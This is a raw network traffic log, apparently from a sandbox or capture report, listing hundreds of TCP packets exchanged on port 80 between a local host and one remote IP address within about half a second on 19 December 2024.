Dec 19, 2024 08:00:57.780195951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.781519890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.781631947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.781680107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.783031940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.783050060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.783241987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.784369946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.784550905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.784606934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.785814047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.785999060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.786053896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.787322998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.787420988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.787478924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.788646936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.788743019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.788810968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.790049076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.790097952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.790150881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.791462898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.791560888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.791620016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.793055058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.793145895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.793191910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.794238091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.794318914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.794365883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.795717955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.795763016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.795815945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.797030926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.797136068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.797183990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.798472881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.798607111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.798652887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.799879074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.799926996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.799964905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.801285982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.801461935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.801508904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.802634001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.802772045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.802815914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.804008961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.804122925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.804168940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.805485964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.805598021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.805643082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.806828976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.806922913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.806962967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.808248997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.808335066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.808371067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.809700012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.809792995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.809858084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.811140060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.811291933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.811353922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.812812090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.812946081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.812994957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.814116955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.814213991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.814264059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.815443039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.815493107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.815532923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.816662073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.816699028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.816745996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.818075895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.818166971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.818212986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.819618940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.819783926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.819827080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.821144104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.821229935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.821278095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.822309017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.822335958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.822393894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.823616028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.823791027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.823843956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.825012922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.825124979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.825182915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.826417923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.826497078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.826541901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.827832937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.827910900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.827950954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.829230070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.829263926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.829313993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.830559015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.830636024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.830673933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.831871986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.832144976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.832201004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.833386898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.833400965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.833580017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.834443092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.834502935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.834553957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.898729086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.898772955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.898966074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.899275064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.899384975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.899441004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.900587082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.900679111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.900728941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.901834965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.901915073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.901971102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.903059959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.903176069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.903238058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.904447079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.904474974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.904520988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.905581951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.905641079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.905684948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.960508108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.960601091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.960793972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.960870981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.961049080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.961095095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.961163998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.961904049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.961960077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.961987972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.962790966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.962845087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.962861061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.963610888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.963675976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.963713884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.964468956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.964520931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.964559078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.965339899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.965389013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.965430021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.966214895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.966245890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.966259956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.967051983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.967107058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.967142105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.967890978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.967935085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.968005896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.968755960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.968800068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.968955040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.969615936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.969659090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.969692945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.970462084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.970513105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.970573902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.971339941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.971391916 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.971426010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.972208023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.972270966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.972312927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.973015070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.973078012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.973154068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.973881960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.973911047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.973928928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.974737883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.974795103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.974829912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.975600958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.975656033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.975692034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.976486921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.976541042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.976548910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.977715015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.977773905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.977819920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.978719950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.978733063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.978777885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.979031086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.979082108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.979141951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.979892969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.979938030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.979984045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.980792999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.980838060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.980921030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.981576920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.981622934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.981677055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.982455969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.982481003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.982518911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.983346939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.983401060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.983464956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.984186888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.984256029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.984278917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.985035896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.985089064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.985130072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.985876083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.985927105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.985968113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.986789942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.986803055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.986831903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.987593889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.987648964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.987694025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.988609076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.988656998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.988729954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.989312887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.989366055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.989404917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.990186930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.990237951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.990278006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.991000891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.991035938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.991055965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.991933107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.991985083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.992021084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.992885113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.992945910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.992949009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.993740082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.993794918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.993837118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.994481087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.994525909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.994546890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.995310068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.995378017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.995409012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.996176004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.996227980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.996263981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.997031927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.997081995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.997154951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.997888088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.997940063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.997973919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.998724937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.998773098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.998821974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.999546051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.999592066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.090821028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.090857029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.091083050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.091188908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.091281891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.091320038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.092061043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.092163086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.092206001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.092900991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.093005896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.093048096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.093808889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.093955994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.094007969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.094762087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.094831944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.094868898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.095709085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.095724106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.095768929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.152703047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.152730942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.152846098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.153052092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.153150082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.153194904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.153915882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.154014111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.154057980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.154772043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.154890060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.154930115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.155623913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.155740023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.155802965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.156660080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.156725883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.156766891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.157617092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.157644033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.157682896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.158207893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.158246994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.158287048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.159060955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.159166098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.159209013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.159943104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.159998894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.160037041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.160764933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.160859108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.160902023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.161623001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.161746979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.161784887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.162509918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.162556887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.162595987 CET	49739	80	192.168.2.9	194.87.47.113
